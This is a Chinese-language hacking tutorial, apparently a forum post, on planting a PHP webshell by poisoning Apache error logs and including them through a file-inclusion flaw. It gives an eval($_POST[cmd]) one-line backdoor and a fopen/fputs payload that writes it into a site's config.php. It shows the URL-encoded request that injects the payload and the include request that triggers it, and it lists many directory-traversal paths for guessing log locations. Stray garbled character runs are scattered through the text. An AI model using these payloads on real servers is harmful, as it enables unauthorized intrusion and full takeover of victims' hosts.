php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
) ], v( o' `0 p! x, O" A5 V0 @<?eval($_POST[cmd]);?>   
, }8 O  ]' a8 R0 p
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
: r  w& E9 Y. ]( Vfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

0 D& x' T) y( O. n9 h3 |1 B: H<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
% F% Q3 _+ w$ p% r8 u9 R+ S. g5 B: \& B: yfclose($fp);?>   //在config.php里写入一句木马语句
# p6 g6 T2 ^& d2 N* H$ `4 B
9 L  V3 A( P/ Q+ [7 z1 Z& m8 U我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
# ^! J6 w& F& Y* }7 bconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
* m7 f& O2 M" G%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
0 f3 ]$ }5 j* j; |" X. A. cfclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
( h& P" o) K9 U" s2 R4 p, L' o: j, {( [4 I
4 _, s6 r. Z! i( h' B* H这样就错误日志里就记录下了这行写入webshell的代码。
9 h" i0 N! [' J, M; v5 Z* ]我们再来包含日志，提交
4 r  W: T  i% n. I' I+ n% xhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

- E3 R2 a. I, ]  f& s这样webshell就写入成功了，config.php里就写入一句木马语句
1 F9 a( b; n3 n: v0 g. tOK.
' b$ A, P$ G5 Chttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
2 G" ?% L- \: N
9 z( X' T5 F9 b, _PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- `: L2 r- N" D! o* ]: I# o
其他的日志路径，你可以去猜，也可以参照这里。
, \+ D. ^% r3 j, t; a../../../../../../../../../../var/log/httpd/access_log
7 N* ?% {9 X5 U& B, Q  C../../../../../../../../../../var/log/httpd/error_log
1 i5 O& ]. N9 l9 k' U+ Q& @$ L../apache/logs/error.log
4 Y  }: w) f, p../apache/logs/access.log
7 Y, b+ l* {1 w6 d* {6 {3 A) i../../apache/logs/error.log
../../apache/logs/access.log
! @% S2 Z! a$ O) Y../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
& ]3 o9 ]" x% O2 n3 i% C../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
0 l2 a0 `! S4 v+ U% m4 J../../../../../../../../../../var/log/apache/access.log
/ |6 x% k2 l5 s# V6 W$ c../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
: n9 N# A) v6 U/ N3 P" H, S../../../../../../../../../../var/log/apache/error.log
- K, M3 p/ v0 ?, f../../../../../../../../../../var/log/access_log
5 O+ e- x$ @, V/ Y/ K! r../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
9 U4 H/ Y' j6 R" |7 j1 F  x$ w../apache/logs/access.log
- a  a6 R; ]+ W* L& f../../apache/logs/error.log
../../apache/logs/access.log
/ x4 E% ~, v1 `. d- h9 x../../../apache/logs/error.log
  F) t. u4 @' h9 a& Y$ c" q8 y1 \- G- G../../../apache/logs/access.log
8 H8 _9 @# q* l. s& g/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
' ?. j& ^# }$ x3 f7 x/etc/httpd/logs/error_log
5 |1 @; _: [% F/etc/httpd/logs/error.log
/var/www/logs/access_log
, z# ^) m% T( O% }/var/www/logs/access.log
& @* T1 P6 ~% S/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
# m0 I7 G. x4 t$ z: q% P, c/var/log/apache/access_log
/var/log/apache/access.log
: H& j# n  d# \# i; l" n/var/log/access_log
, v3 N; P, L$ ^* m' r  x/var/www/logs/error_log
/ P) e+ o8 O' `5 {/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
9 ?7 ?) i" @2 C, q% x2 y/var/log/access_log
5 [7 n5 K1 b. [: D/var/log/error_log